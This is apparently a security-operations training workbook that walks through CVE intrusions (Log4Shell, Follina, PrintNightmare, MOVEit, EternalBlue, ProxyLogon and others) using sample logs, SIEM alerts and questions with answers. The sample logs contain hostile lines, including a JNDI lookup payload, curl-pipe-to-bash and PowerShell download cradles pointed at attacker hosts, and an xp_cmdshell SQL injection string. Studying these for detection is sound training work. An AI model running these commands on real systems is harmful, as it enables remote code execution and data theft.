

**20 CVE
EXERCISES
WITH SIEM
ALERT ANALYSIS,
QUESTIONS AND
ANSWERS**

BY IZZMIER IZZUDDIN

SCENARIO 1: CVE-2021-44228 (LOG4SHELL EXPLOITATION IN APACHE WEB SERVER)

Category: Remote Code Execution

MITRE ATT&CK Mapping:

- Initial Access: T1190 – Exploit Public-Facing Application
- Execution: T1059.001 – Command and Scripting Interpreter: PowerShell
- Persistence: T1547.001 – Registry Run Keys / Startup Folder
- C2: T1071.001 – Application Layer Protocol: Web Protocols

Incident: On 11 December 2021, a security monitoring alert was triggered from a web-facing Linux server running a Java-based application using Log4j. The alert flagged suspicious outbound DNS requests and base64-encoded strings in HTTP headers.

Logs

Apache Access Logs

/var/log/httpd/access.log

```
192.168.100.45 - - [11/Dec/2021:14:55:03 +0000] "GET /login HTTP/1.1" 200 498 "-"
"${jndi:ldap://attacker.com/a}"
```

Application Logs

/var/log/app.log

```
[INFO] 2021-12-11 14:55:04 - User-Agent: ${jndi:ldap://attacker.com/a} injected during
login attempt
```

DNS Logs

(From internal DNS resolver)

```
Dec 11 14:55:06 dns-server query: client=192.168.100.45 query=attacker.com type=A
```

Outbound Firewall Logs

```
ALLOWED TCP 192.168.100.45:44567 -> 81.90.34.120:80
```

Process Logs (Sysmon or auditd)

```
14:55:08 - java spawned process: /bin/bash -c "curl http://81.90.34.120/shell.sh | bash"
```

Persistence Attempt - Registry (Windows case variation)

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Value: updater = powershell -w hidden -c "IEX (New-Object
Net.WebClient).DownloadString('http://81.90.34.120/payload.ps1')"

SIEM Alert Description

Rule Name: Possible Log4Shell Exploitation via JNDI Lookup

Severity: High

Alert ID: SIEM-ALERT-0226

Description:

Multiple HTTP requests were detected containing \${jndi:ldap://...} patterns, commonly associated with Log4Shell exploitation (CVE-2021-44228). Process logs indicate remote shell execution via Java application context.

Analysis Questions

1. What IP address initiated the suspicious request?
2. What payload pattern is indicative of Log4Shell?
3. Which log file confirms remote code execution?
4. Was the outbound connection successful?
5. What domain was queried via DNS?
6. What process was spawned as a result of the exploit?
7. Was persistence attempted? If yes, how?
8. What is the attacker's IP address?
9. What Java function or logging framework is likely vulnerable?
10. Is this CVE remotely exploitable without authentication?
11. Could firewall logs help in containment? How?
12. What MITRE ATT&CK tactics are involved here?
13. How would you block this attack in the future?
14. Should this system be isolated? Why?
15. Which threat actor campaigns have used Log4Shell in the wild?

Answers

1. What IP address initiated the suspicious request?
192.168.100.45 – Internal host making the request containing \${jndi:ldap://...}.
2. What payload pattern is indicative of Log4Shell?
\${jndi:ldap://attacker.com/a} – This JNDI lookup triggers remote code loading.
3. Which log file confirms remote code execution?
The process log (Sysmon/auditd) shows Java spawning a bash shell and executing a remote script.
4. Was the outbound connection successful?
Yes – Firewall logs confirm the connection from 192.168.100.45 to 81.90.34.120 over port 80 was allowed.

5. What domain was queried via DNS?
attacker.com – Queried after JNDI payload was triggered.
6. What process was spawned as a result of the exploit?
/bin/bash -c "curl http://81.90.34.120/shell.sh | bash" – Indicates remote code execution from within Java.
7. Was persistence attempted? If yes, how?
Yes – In the Windows variation, a registry run key was set to load a PowerShell payload on boot.
8. What is the attacker's IP address?
81.90.34.120 – Host of the malicious payload and destination of the curl request.
9. What Java function or logging framework is likely vulnerable?
Apache Log4j – Specifically versions 2.0 to 2.14.1 where unsanitized logging allows JNDI lookup injection.
10. Is this CVE remotely exploitable without authentication?
Yes – If the vulnerable app logs unauthenticated input (like headers, user-agent), it can be exploited remotely without credentials.
11. Could firewall logs help in containment? How?
Yes – Outbound connections to unusual external IPs can be blocked and logs can help trace which systems communicated with known malicious domains/IPs.
12. What MITRE ATT&CK tactics are involved here?
 - T1190 – Exploit Public-Facing Application
 - T1059.001 – Command and Scripting Interpreter: PowerShell
 - T1547.001 – Persistence via Registry
 - T1071.001 – Application Layer Protocol: Web Protocols
13. How would you block this attack in the future?
 - Patch Log4j to version 2.16 or above
 - Block outbound LDAP, RMI and other risky ports
 - Implement WAF rules to detect \${jndi:...} patterns
 - Use EDR to detect suspicious child processes from Java
14. Should this system be isolated? Why?
Yes – The attacker has achieved remote execution and may have installed persistent backdoors or moved laterally.
15. Which threat actor campaigns have used Log4Shell in the wild?
 - APT35 (Charming Kitten)
 - Conti ransomware group
 - Night Sky ransomware
 - Widespread exploitation by crypto miners, botnets and initial access brokers

SCENARIO 2: CVE-2023-23397 (MICROSOFT OUTLOOK PRIVILEGE ESCALATION VIA NTLM LEAK)

Category: Elevation of Privilege / Credential Theft

MITRE ATT&CK Mapping:

- Initial Access: T1566.002 – Phishing: Spearphishing via Service
- Credential Access: T1557.001 – Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and Relay
- Discovery: T1087.002 – Account Discovery: Domain Accounts
- Defense Evasion: T1070.004 – File Deletion
- Persistence: T1547.001 – Registry Run Keys

Incident: A spearphishing email was sent to multiple internal users in an organisation. One user's Microsoft Outlook desktop client automatically processed the calendar invite attached to the email. The invite included a UNC path to an external SMB share, triggering an automatic NTLM hash leak.

This behaviour is linked to CVE-2023-23397, a zero-click vulnerability in Outlook that causes NTLM credential leaks without user interaction.

Logs

Email Gateway Logs

Timestamp: 2024-03-12 09:44:21
From: attacker@maliciousdomain.com
To: user1@internal.org
Subject: Project Kick-off Invitation
Attachment: invite.ics

Outlook Client Logs (via Sysmon)

Event ID: 11
Process: OUTLOOK.EXE
Command: Automatic calendar processing of invite.ics
Network Request: \\192.168.50.200\schedule\agenda.pdf
Protocol: SMB

Network Logs (Firewall or Zeek)

2024-03-12 09:44:27
Src IP: 10.10.10.21 (victim workstation)

Dst IP: 192.168.50.200 (attacker-controlled host)
Protocol: SMB
Action: Allowed

NTLM Authentication Attempt Log (from Zeek SMB logs)

Client: 10.10.10.21
Server: 192.168.50.200
NTLMv2 authentication attempt observed
Hash format: NTLMv2 Hash challenge/response pair
Username leaked: user1
Domain: INTERNAL

SIEM Alert

Rule Name: Suspicious Outlook NTLM Leak via Calendar Invite (CVE-2023-23397)
Severity: Critical
Alert ID: SIEM-ALERT-0459
Description: Outlook client initiated an SMB authentication request to an external host without user action. NTLM hash was leaked to an unauthorised external destination, possibly indicating exploitation of CVE-2023-23397.

Analysis Questions

1. What type of phishing technique was used in this scenario?
2. Which vulnerability was exploited and why is it considered zero-click?
3. What triggered the NTLM hash leak?
4. Was there any user interaction required for the exploit to succeed?
5. What was the attacker's destination IP?
6. Which protocol was used to leak the hash?
7. What credentials were exposed?
8. Can this vulnerability be detected via email sandboxing?
9. What log source best reveals the NTLM hash transmission?
10. What mitigation can be applied to prevent this Outlook exploit?
11. How would you use Zeek to confirm this activity?
12. How should SOC teams triage similar alerts in the future?
13. Is the attacker able to crack the hash offline? If yes, how?
14. What is the primary MITRE ATT&CK technique for this scenario?
15. Would segmenting internal and external SMB traffic help? Explain why.

Answers

1. What type of phishing technique was used in this scenario?
Spearphishing via service – The attacker used a crafted calendar invite (.ics file) sent via email to a specific user.

2. Which vulnerability was exploited and why is it considered zero-click?
CVE-2023-23397 – It's a zero-click vulnerability because Outlook automatically processes calendar invites without requiring the user to click anything.
3. What triggered the NTLM hash leak?
The Outlook client processed a UNC path in the calendar invite, triggering an automatic SMB authentication attempt to an external server.
4. Was there any user interaction required for the exploit to succeed?
No – The vulnerability works without user interaction; Outlook handles it silently in the background.
5. What was the attacker's destination IP?
192.168.50.200 – The SMB server that received the NTLM hash.
6. Which protocol was used to leak the hash?
SMB (Server Message Block) – Specifically over a UNC path like \\192.168.50.200\schedule\agenda.pdf.
7. What credentials were exposed?
NTLMv2 hash of the user user1@INTERNAL – This hash could be cracked offline to retrieve plaintext credentials.
8. Can this vulnerability be detected via email sandboxing?
No, traditional sandboxing may miss it because the trigger is the automatic processing behaviour of the Outlook desktop client, not malicious content execution.
9. What log source best reveals the NTLM hash transmission?
Network logs, especially from SMB protocol analysis tools like Zeek or packet capture (PCAP), showing outbound NTLM authentication attempts.
10. What mitigation can be applied to prevent this Outlook exploit?
 - Apply Microsoft's patch for CVE-2023-23397
 - Block outbound SMB (TCP 445) to untrusted IPs
 - Remove automatic processing of calendar invites
 - Disable NTLM where possible in favour of more secure authentication methods
11. How would you use Zeek to confirm this activity?
By reviewing smb.log for outbound NTLM authentication attempts to unknown IPs and checking for UNC path access from user workstations.
12. How should SOC teams triage similar alerts in the future?
 - Validate if Outlook was the process initiating the connection
 - Check if it aligns with CVE behaviour (NTLM hash via SMB to external IP)
 - Isolate the host, reset credentials and check for follow-up activity
13. Is the attacker able to crack the hash offline? If yes, how?
Yes – The NTLMv2 hash can be brute-forced or cracked using tools like Hashcat or John the Ripper, depending on password complexity.
14. What is the primary MITRE ATT&CK technique for this scenario?
T1557.001 – Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and Relay (via NTLM)

relay)

Also partially T1566.002 – Spearphishing via Service

15. Would segmenting internal and external SMB traffic help? Explain why.

Yes – Blocking SMB traffic from internal clients to external or untrusted networks prevents NTLM hash leaks and remote relay attacks.

SCENARIO 3: CVE-2022-30190 (FOLLINA – MICROSOFT SUPPORT DIAGNOSTIC TOOL RCE)

Category: Remote Code Execution via Malicious Document

MITRE ATT&CK Mapping:

- Initial Access: T1566.001 – Phishing: Malicious Attachment
- Execution: T1203 – Exploitation for Client Execution
- Command and Control: T1071.001 – Application Layer Protocol: Web Protocols
- Defense Evasion: T1027 – Obfuscated Files or Information

Incident: A user received a Word document as an email attachment. Upon opening the document, no macros were enabled or run, yet suspicious PowerShell activity was triggered. The document used CVE-2022-30190 (Follina), which abuses the Microsoft Support Diagnostic Tool (MSDT) via a crafted URL inside the document's XML structure.

The exploit allows remote code execution without requiring macro permissions.

Logs

Email Gateway Logs

Timestamp: 2022-06-03 08:20:14

From: hr@joboffersmail.net

To: staff@company.local

Subject: Urgent HR Notice – June

Attachment: HR_Update.docx

Windows Security Event Log (Event ID 4688 – Process Creation)

Creator Process: WINWORD.EXE

Created Process: msdt.exe /id PCWDiagnostic /skip force /param "IT_Recruiting_Form..."

Child Process: powershell.exe -windowstyle hidden -enc UwB5AHMAAdABIAG0ALgB...

Sysmon Logs

Event ID: 1

ParentImage: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Image: C:\Windows\System32\msdt.exe

CommandLine: msdt.exe /id PCWDiagnostic /skip force /param <malicious input>

Network Connection: powershell.exe connecting to hxxp://198.51.100.45/payload.ps1

Firewall Logs

ALLOWED TCP 10.0.0.25:50483 -> 198.51.100.45:80
ALLOWED TCP 10.0.0.25:50484 -> 198.51.100.45:443

SIEM Alert

Rule Name: Suspicious Document Exploit Using MSDT (CVE-2022-30190 – Follina)

Severity: Critical

Alert ID: SIEM-ALERT-0712

Description: A Microsoft Word process spawned msdt.exe followed by PowerShell. This technique is known to be used in Follina exploits (CVE-2022-30190) to achieve remote code execution. Outbound connection to an untrusted IP observed.

Analysis Questions

1. What is the name of the vulnerability used in this attack?
2. Why is this exploit dangerous even if macros are disabled?
3. Which process is the parent of msdt.exe in this attack?
4. What was the initial vector used to deliver the exploit?
5. Which log best shows the attacker's execution chain?
6. What technique was used to obfuscate the PowerShell command?
7. What IP address did the payload connect to?
8. Was any suspicious domain or URL accessed?
9. Can traditional antivirus detect this attack reliably? Why or why not?
10. What MITRE ATT&CK technique corresponds to msdt abuse?
11. How would you detect this behaviour in an EDR solution?
12. What policy changes could prevent msdt abuse in future?
13. Is blocking outbound PowerShell connections helpful here? Why?
14. Should Word be allowed to spawn msdt or PowerShell?
15. How should SOC respond if this attack is detected on a user's machine?

Answers

1. What is the name of the vulnerability used in this attack?
CVE-2022-30190, commonly known as Follina.
2. Why is this exploit dangerous even if macros are disabled?
Because it does not rely on macros. It exploits a flaw in how Microsoft Word processes links in document templates, calling msdt.exe via a malicious ms-msdt: URI embedded in the document's XML.
3. Which process is the parent of msdt.exe in this attack?
WINWORD.EXE – Microsoft Word is the parent that spawns msdt.exe.
4. What was the initial vector used to deliver the exploit?
A malicious Word document (HR_Update.docx) sent via phishing email.
5. Which log best shows the attacker's execution chain?
Sysmon logs – They reveal the full parent-child process tree, from WINWORD.exe to msdt.exe to PowerShell.

6. What technique was used to obfuscate the PowerShell command?
Base64-encoded PowerShell payload with the -enc switch, commonly used to evade detection.
7. What IP address did the payload connect to?
198.51.100.45 – The command-and-control server hosting the malicious script.
8. Was any suspicious domain or URL accessed?
Yes – The document causes PowerShell to access:
<http://198.51.100.45/payload.ps1>
9. Can traditional antivirus detect this attack reliably? Why or why not?
Not reliably – Because the exploit is fileless and uses legitimate Windows binaries (msdt.exe) and obfuscated PowerShell, making it harder for signature-based AV to detect.
10. What MITRE ATT&CK technique corresponds to msdt abuse?
T1203 – Exploitation for Client Execution
11. How would you detect this behaviour in an EDR solution?
 - Look for msdt.exe spawned by WINWORD.exe
 - Monitor PowerShell processes spawned from msdt.exe
 - Alert on base64-encoded PowerShell strings
12. What policy changes could prevent msdt abuse in future?
 - Disable the ms-msdt protocol handler in the registry
 - Block Office apps from creating child processes
 - Use attack surface reduction (ASR) rules to block suspicious behaviour
13. Is blocking outbound PowerShell connections helpful here? Why?
Yes – Blocking outbound connections from PowerShell prevents it from downloading second-stage payloads or communicating with external servers.
14. Should Word be allowed to spawn msdt or PowerShell?
No – These behaviours are highly abnormal. Legitimate Word use should not require spawning diagnostic tools or scripting interpreters.
15. How should SOC respond if this attack is detected on a user's machine?
 - Immediately isolate the host
 - Terminate malicious processes
 - Collect volatile data and logs for forensics
 - Reset affected credentials
 - Conduct full endpoint scan and check for persistence
 - Apply missing patches, particularly the fix for CVE-2022-30190
 - Educate users about phishing and attachment handling

SCENARIO 4: CVE-2021-34527 (PRINTNIGHTMARE – REMOTE CODE EXECUTION VIA PRINT SPOOLER)

Category: Remote Code Execution / Local Privilege Escalation

MITRE ATT&CK Mapping:

- Privilege Escalation: T1068 – Exploitation for Privilege Escalation
- Execution: T1059 – Command and Scripting Interpreter
- Lateral Movement: T1021.002 – Remote Services: SMB/Windows Admin Shares
- Persistence: T1547.001 – Registry Run Keys

Incident: An internal domain user with limited privileges executed a PowerShell script that abused CVE-2021-34527 (PrintNightmare). The vulnerability exploits the Windows Print Spooler service to execute arbitrary code with SYSTEM privileges, allowing the attacker to escalate privileges and drop a reverse shell for lateral movement.

The attacker moved laterally to a Domain Controller using SMB and attempted to add a new domain admin user.

Logs

PowerShell Logs (Event ID 4104 – Script Block Logging)

```
powershell.exe -c "Import-Module .\PrintNightmare.ps1; Invoke-Exploit -Payload  
"\\10.1.1.50\malicious.dll"
```

Sysmon Logs (Event ID 1 – Process Creation)

ParentImage: powershell.exe

Image: rundll32.exe

CommandLine: rundll32.exe \\10.1.1.50\malicious.dll,EntryPoint

Security Event Logs (Event ID 4720 – New User Creation)

A new account was created.

Account Name: svcadmin

Privileges: Domain Admins

Created By: HOST\attacker1

Firewall Logs

ALLOWED SMB 10.1.1.20 -> 10.1.1.10 (Domain Controller)

ALLOWED TCP 10.1.1.20:5555 -> 203.0.113.12:4444 (reverse shell)

SIEM Alert

Rule Name: Suspicious DLL Loaded via Print Spooler (CVE-2021-34527 – PrintNightmare)

Severity: Critical

Alert ID: SIEM-ALERT-0930

Description: A limited user account executed a DLL via Print Spooler using rundll32.exe, consistent with the PrintNightmare exploit. A new domain admin account was created from this endpoint shortly after.

Analysis Questions

1. What service or component was exploited in this attack?
2. What vulnerability was used and what does it enable?
3. What process chain shows the exploitation?
4. What protocol was used to fetch the malicious DLL?
5. Which system privilege level did the attacker gain?
6. Was the exploit executed locally or remotely?
7. Which IP address hosted the malicious payload?
8. How did the attacker move laterally?
9. What evidence shows privilege escalation was successful?
10. What user account was created as part of persistence?
11. How would you confirm if this was a PrintNightmare attack?
12. What log source can help track PowerShell exploit usage?
13. How can you prevent exploitation of Print Spooler?
14. Is it advisable to keep Print Spooler running on Domain Controllers?
15. What immediate actions should SOC take upon detection?

Answers

1. What service or component was exploited in this attack?
Windows Print Spooler Service
2. What vulnerability was used and what does it enable?
CVE-2021-34527 (PrintNightmare) – It allows a user to execute arbitrary code with SYSTEM privileges by abusing the Print Spooler to load a malicious DLL.
3. What process chain shows the exploitation?
 - o powershell.exe loading the exploit script
 - o Spawning rundll32.exe to execute the malicious DLL from a remote share
4. What protocol was used to fetch the malicious DLL?
SMB (Server Message Block) – The payload was fetched from a UNC path (\\10.1.1.50\\malicious.dll).
5. Which system privilege level did the attacker gain?
SYSTEM – The DLL executed via Print Spooler ran with SYSTEM-level privileges, enabling privilege escalation.

6. Was the exploit executed locally or remotely?
Locally – But it involved access to a remote file share. The Print Spooler service was abused locally on the victim host.
7. Which IP address hosted the malicious payload?
10.1.1.50
8. How did the attacker move laterally?
Via SMB, likely using admin shares or by reusing elevated privileges to connect to the Domain Controller at 10.1.1.10.
9. What evidence shows privilege escalation was successful?
The attacker was able to create a new domain admin account (svcadmin), which requires elevated privileges.
10. What user account was created as part of persistence?
svcadmin – A domain administrator account created from the compromised host.
11. How would you confirm if this was a PrintNightmare attack?
 - Check for rundll32.exe loading a DLL via a UNC path after a PowerShell script
 - Look for references to ms-print-client or spooler-related services in logs
 - Confirm Print Spooler was enabled and exploitable at the time
12. What log source can help track PowerShell exploit usage?
 - PowerShell Script Block Logging (Event ID 4104)
 - Sysmon Process Creation (Event ID 1)
 - Security logs (user creation, privilege escalation)
13. How can you prevent exploitation of Print Spooler?
 - Disable Print Spooler on all non-printing systems, especially Domain Controllers
 - Apply the official Microsoft patches
 - Limit who can load printer drivers
 - Monitor and restrict rundll32.exe execution from user space
14. Is it advisable to keep Print Spooler running on Domain Controllers?
No – Microsoft and best practices recommend disabling Print Spooler on Domain Controllers to reduce attack surface.
15. What immediate actions should SOC take upon detection?
 - Isolate the affected host
 - Revoke or reset elevated credentials
 - Audit AD for new or modified users/groups
 - Remove the unauthorized domain admin account
 - Collect forensic data and patch all vulnerable systems
 - Implement detection for similar exploitation techniques in SIEM and EDR

SCENARIO 5: CVE-2023-34362 (MOVEIT TRANSFER SQL INJECTION EXPLOIT – DATA EXFILTRATION)

Category: SQL Injection → Remote Code Execution → Data Exfiltration

MITRE ATT&CK Mapping:

- Initial Access: T1190 – Exploit Public-Facing Application
- Execution: T1059.005 – Command and Scripting Interpreter: SQL
- Exfiltration: T1041 – Exfiltration Over C2 Channel
- Impact: T1486 – Data Encrypted for Impact (in some variants)

Incident: An attacker exploited CVE-2023-34362, a critical SQL injection vulnerability in Progress MOVEit Transfer, to gain unauthorised access to a public-facing file transfer system. The attack led to unauthorised creation of web shells, user impersonation and exfiltration of sensitive data (e.g., HR documents and financial records) over HTTP.

The organisation was unaware until an external threat intel feed flagged a domain that had been used to exfiltrate files from multiple MOVEit servers worldwide.

Logs

Web Server Logs

2023-06-02 03:12:09 POST /moveitapi/api/v1/folders/../../api/v1/users HTTP/1.1
Host: moveit.internal.org
Content-Length: 421
Payload: {"username": "admin", (SELECT exec('xp_cmdshell "whoami"'))--"}

Application Logs (MOVEit Transfer)

Unusual user creation: user=webadmin, method=internal API call
Source IP: 185.225.73.21
Access role: SuperUser
Login time: 2023-06-02 03:15:18

Network Logs

2023-06-02 03:20:44
10.2.2.11 (MOVEit server) → 45.133.1.27:443
HTTP POST to /exfil/upload.php (450MB)

Windows Event Logs (Event ID 4688)

Process: w3wp.exe

CommandLine: w3wp.exe -child process -cmd.exe /c powershell Invoke-WebRequest http://45.133.1.27/upload.ps1

SIEM Alert

Rule Name: SQL Injection Exploitation Detected on MOVEit Transfer – CVE-2023-34362

Severity: Critical

Alert ID: SIEM-ALERT-1103

Description: An unauthorised API call using SQL injection created a user account with administrative privileges. A web shell was uploaded, followed by a large outbound data transfer to an external IP. MOVEit Transfer is known to be vulnerable to CVE-2023-34362. Potential data breach suspected.

Analysis Questions

1. What public-facing application was exploited in this scenario?
2. What kind of vulnerability is CVE-2023-34362?
3. What log indicates that SQL injection was successful?
4. Which IP address is likely controlled by the attacker?
5. What evidence shows command execution on the MOVEit server?
6. What was the purpose of the webadmin account?
7. What protocol was used for data exfiltration?
8. What size of data was exfiltrated?
9. How was the web shell likely uploaded?
10. What role did the API endpoint play in this attack?
11. How would you detect similar exploits at the SIEM level?
12. What security measures could have blocked the SQLi attack?
13. Why is MOVEit Transfer frequently targeted by attackers?
14. What forensic steps should be taken after detection?
15. What regulatory or legal steps may be triggered by this breach?

Answers

1. What public-facing application was exploited in this scenario?
MOVEit Transfer – A managed file transfer (MFT) solution often exposed to the internet for partner and third-party data sharing.
2. What kind of vulnerability is CVE-2023-34362?
SQL Injection – This critical vulnerability allows attackers to execute arbitrary SQL queries that lead to remote code execution and unauthorised account creation.
3. What log indicates that SQL injection was successful?
Web Server Logs – The HTTP POST with a crafted SQL payload in the username field shows exploitation via SQLi.

4. Which IP address is likely controlled by the attacker?
185.225.73.21 – Source of the malicious API call and login
45.133.1.27 – Destination of exfiltrated data and PowerShell download
5. What evidence shows command execution on the MOVEit server?
Windows Event Log (4688) – Shows w3wp.exe spawning cmd.exe and invoking PowerShell, confirming command execution through the web shell.
6. What was the purpose of the webadmin account?
To gain administrative access to MOVEit Transfer and escalate control after initial exploitation.
7. What protocol was used for data exfiltration?
HTTP/HTTPS (TCP port 443) – Used in a POST request to exfiltrate a large data file to a remote server.
8. What size of data was exfiltrated?
450MB – Indicated in the network logs.
9. How was the web shell likely uploaded?
By abusing administrative privileges gained via SQL injection to write or modify web-accessible resources (e.g., via API or directly through database manipulation).
10. What role did the API endpoint play in this attack?
The attacker targeted an API endpoint vulnerable to SQL injection, allowing account creation and execution of backend commands through injected payloads.
11. How would you detect similar exploits at the SIEM level?
 - Monitor for unexpected user creation via API
 - Alert on web processes spawning cmd.exe or PowerShell
 - Detect large outbound data transfers to unknown IPs
 - Correlate login attempts and access anomalies on web applications
12. What security measures could have blocked the SQLi attack?
 - Apply input validation and parameterized queries
 - Use WAF to block malicious HTTP requests
 - Limit access to admin-level APIs from untrusted IPs
 - Implement least privilege and strict API usage controls
13. Why is MOVEit Transfer frequently targeted by attackers?
 - It stores and transfers sensitive, high-value data
 - It's often publicly accessible
 - Known vulnerabilities like CVE-2023-34362 provide direct access to systems and data
14. What forensic steps should be taken after detection?
 - Isolate the affected server immediately
 - Acquire full memory and disk images

- Review logs for unauthorized access and exfiltration
- Identify and remove any web shells or backdoors
- Reset credentials and audit all user accounts
- Notify relevant internal and external stakeholders

15. What regulatory or legal steps may be triggered by this breach?

- Mandatory data breach notification under laws such as GDPR, PDPA (Malaysia), HIPAA, etc.
- Disclosure to regulators, clients and possibly law enforcement
- Potential fines, audits, or litigation if PII, financial data, or regulated content was compromised

SCENARIO 6: CVE-2017-0144 (ETERNALBLUE – SMBV1 REMOTE CODE EXECUTION VIA MS17-010)

Category: Remote Code Execution

MITRE ATT&CK Mapping:

- Initial Access: T1210 – Exploitation of Remote Services
- Execution: T1059 – Command and Scripting Interpreter
- Lateral Movement: T1021.002 – Remote Services: SMB/Windows Admin Shares
- Persistence: T1547.001 – Registry Run Keys
- Impact: T1486 – Data Encrypted for Impact (in ransomware scenarios)

Incident: A vulnerable Windows 7 workstation in the internal network was exploited via EternalBlue, a well-known exploit leveraging SMBv1 vulnerability (CVE-2017-0144). After successful exploitation, the attacker dropped a malicious payload (taskhost.exe) and achieved remote code execution. Lateral movement was then initiated to additional hosts using the same SMB vulnerability and file encryption activity was observed on shared folders.

This exploit was widely weaponized by malware such as WannaCry, NotPetya and TrickBot operators.

Logs

Windows Security Logs (Event ID 4624 – Successful Logon)

Account Name: guest

Logon Type: 3 (Network)

Source Network Address: 10.0.5.45

Authentication Package: NTLM

Sysmon Logs (Event ID 1 – Process Creation)

Image: C:\Windows\System32\taskhost.exe

Parent: services.exe

CommandLine: taskhost.exe -silent

Hash: f2a1b9d34469df15e7c9a...

Firewall Logs

INBOUND SMB ALLOWED

Source: 10.0.5.45

Destination: 10.0.5.21 (victim workstation)

Port: 445

Network Logs (Zeek or NetFlow)

High-frequency SMB traffic observed from 10.0.5.45 to multiple internal IPs

Pattern: TCP 445 scan + exploit delivery

File Integrity Monitoring Logs

Unusual file writes to:

\\10.0.5.21\shared\Invoices\EncryptedFile1.docx

\\10.0.5.21\shared\HR\EncryptedFile2.pdf

SIEM Alert

Rule Name: SMBv1 Exploitation Attempt – Possible EternalBlue (CVE-2017-0144)

Severity: Critical

Alert ID: SIEM-ALERT-1260

Description: Detected inbound SMBv1 connections from unauthorised host. New process taskhost.exe executed with suspicious command line. Multiple shared files were encrypted shortly after. Behaviour matches exploitation pattern of CVE-2017-0144.

Analysis Questions

1. What vulnerability was exploited in this scenario?
2. What protocol and port were used for the attack?
3. Which logon type is associated with remote network access?
4. What process indicates post-exploitation activity?
5. What evidence suggests lateral movement?
6. Was the guest account used to authenticate?
7. What is the likely purpose of taskhost.exe?
8. What log source helps confirm exploitation of SMBv1?
9. Which malware families historically exploited this vulnerability?
10. What key indicator shows ransomware impact?
11. Why is SMBv1 still considered dangerous?
12. How would you block this attack at the network layer?
13. What patch could have prevented this exploitation?
14. Should guest access be enabled on Windows machines? Why or why not?
15. What long-term mitigation should be implemented to secure similar environments?

Answers

1. What vulnerability was exploited in this scenario?
CVE-2017-0144 (EternalBlue) – A remote code execution vulnerability in Microsoft's SMBv1 protocol.

2. What protocol and port were used for the attack?
SMB (Server Message Block) over TCP port 445.
3. Which logon type is associated with remote network access?
Logon Type 3 – Indicates network-based logon such as SMB or RPC.
4. What process indicates post-exploitation activity?
taskhost.exe – A suspicious process spawned by services.exe, likely representing the attacker's payload.
5. What evidence suggests lateral movement?
 - Repeated SMB connections from 10.0.5.45 to multiple internal hosts
 - New processes spawning on remote machines
 - File encryption occurring across shared drives
6. Was the guest account used to authenticate?
Yes – Account Name: guest in the logon event shows unauthenticated or low-privilege access, common in EternalBlue exploits.
7. What is the likely purpose of taskhost.exe?
Malicious payload executed after successful exploitation – used for persistence, lateral movement, or launching ransomware.
8. What log source helps confirm exploitation of SMBv1?
 - Firewall logs showing port 445 access
 - Network logs (e.g., Zeek, NetFlow) showing scanning and exploit traffic
 - Sysmon logs confirming suspicious process creation
 - Windows Event Logs for logon and process activity
9. Which malware families historically exploited this vulnerability?
 - WannaCry
 - NotPetya
 - EternalRocks
 - TrickBot
 - Emotet (via TrickBot's lateral modules)
10. What key indicator shows ransomware impact?
Encrypted files on network shares, such as:
\\10.0.5.21\shared\HR\EncryptedFile2.pdf
11. Why is SMBv1 still considered dangerous?
 - It's obsolete and insecure
 - Has known, easily exploitable vulnerabilities
 - Supports unauthenticated access in some configurations
 - No support for modern encryption or signing
12. How would you block this attack at the network layer?
 - Block TCP port 445 between all endpoints and to/from the internet
 - Disable SMBv1 entirely
 - Implement internal segmentation to reduce spread

13. What patch could have prevented this exploitation?

MS17-010 – Security update released in March 2017 to address SMBv1 vulnerabilities including EternalBlue.

14. Should guest access be enabled on Windows machines? Why or why not?

No – It allows attackers to authenticate without credentials, making lateral movement easier. Guest access should always be disabled unless strictly necessary and controlled.

15. What long-term mitigation should be implemented to secure similar environments?

- Disable SMBv1 protocol entirely
- Apply regular patches and updates across all systems
- Implement network segmentation and firewall controls
- Deploy EDR to monitor for exploit tools and post-exploitation behavior
- Conduct periodic vulnerability scans to identify unpatched systems
- Use group policies to restrict guest access and lateral movement

SCENARIO 7: CVE-2021-26855 (PROXYLOGON – MICROSOFT EXCHANGE SERVER RCE AND MAILBOX ACCESS)

Category: Server-Side Request Forgery (SSRF) → Remote Code Execution

MITRE ATT&CK Mapping:

- Initial Access: T1190 – Exploit Public-Facing Application
- Execution: T1059.001 – Command and Scripting Interpreter: PowerShell
- Persistence: T1505.003 – Server Software Component: Web Shell
- Collection: T1114 – Email Collection
- Exfiltration: T1041 – Exfiltration Over C2 Channel

Incident: An attacker exploited CVE-2021-26855, part of the ProxyLogon vulnerability chain, on a publicly exposed Microsoft Exchange Server. The vulnerability allowed Server-Side Request Forgery (SSRF), enabling unauthenticated remote access to internal components.

After exploiting the SSRF, the attacker chained additional vulnerabilities to write a web shell into the Exchange Server's web root and dumped mailboxes via EWS (Exchange Web Services). Suspicious outbound traffic and mailbox access logs were observed shortly after.

Logs

IIS Logs (Exchange Web Server)

```
2021-03-03 12:44:58 POST /ecp/y.js HTTP/1.1
User-Agent: python-requests/2.25.1
X-AnonResource-Backend: localhost/ecp/default.flt?~3
X-BEResource: localhost/EWS/Exchange.asmx?a=~1942062522
Status: 200
```

PowerShell Script Block Logging (Event ID 4104)

```
powershell.exe -c "IEX (New-Object
Net.WebClient).DownloadString('http://198.51.100.99/s.aspx')"
```

File System Logs (Exchange Server)

```
File created: C:\inetpub\wwwroot\aspnet_client\s.aspx
Timestamp: 2021-03-03 12:45:10
```

Exchange Admin Audit Logs

Action: Export-Mailbox
User: NT AUTHORITY\SYSTEM
Target Mailbox: ceo@internal.org
Export Format: PST

Network Logs (Firewall or NDR)

Outbound connection
Source: 192.168.1.50 (Exchange Server)
Destination: 198.51.100.99
Protocol: HTTP
URI: /upload.php
Method: POST
Bytes Sent: 350MB

SIEM Alert

Rule Name: ProxyLogon Exploitation Chain (CVE-2021-26855) – Web Shell Activity and Mailbox Export

Severity: Critical

Alert ID: SIEM-ALERT-1439

Description: Unauthenticated attacker exploited Exchange Server via ProxyLogon (CVE-2021-26855) to deploy a web shell and extract mailbox data. Suspicious internal PowerShell activity and outbound exfiltration observed. Mailbox access by NT AUTHORITY\SYSTEM flagged.

Analysis Questions

1. What type of vulnerability is CVE-2021-26855?
2. What is the initial access method in this attack?
3. What logs show web shell deployment?
4. Which script shows command execution from the attacker's server?
5. What file was dropped and where?
6. What user account was used to export mailbox contents?
7. What log indicates email data theft?
8. Which external IP received the exfiltrated data?
9. What does the 'X-AnonResource-Backend' header indicate?
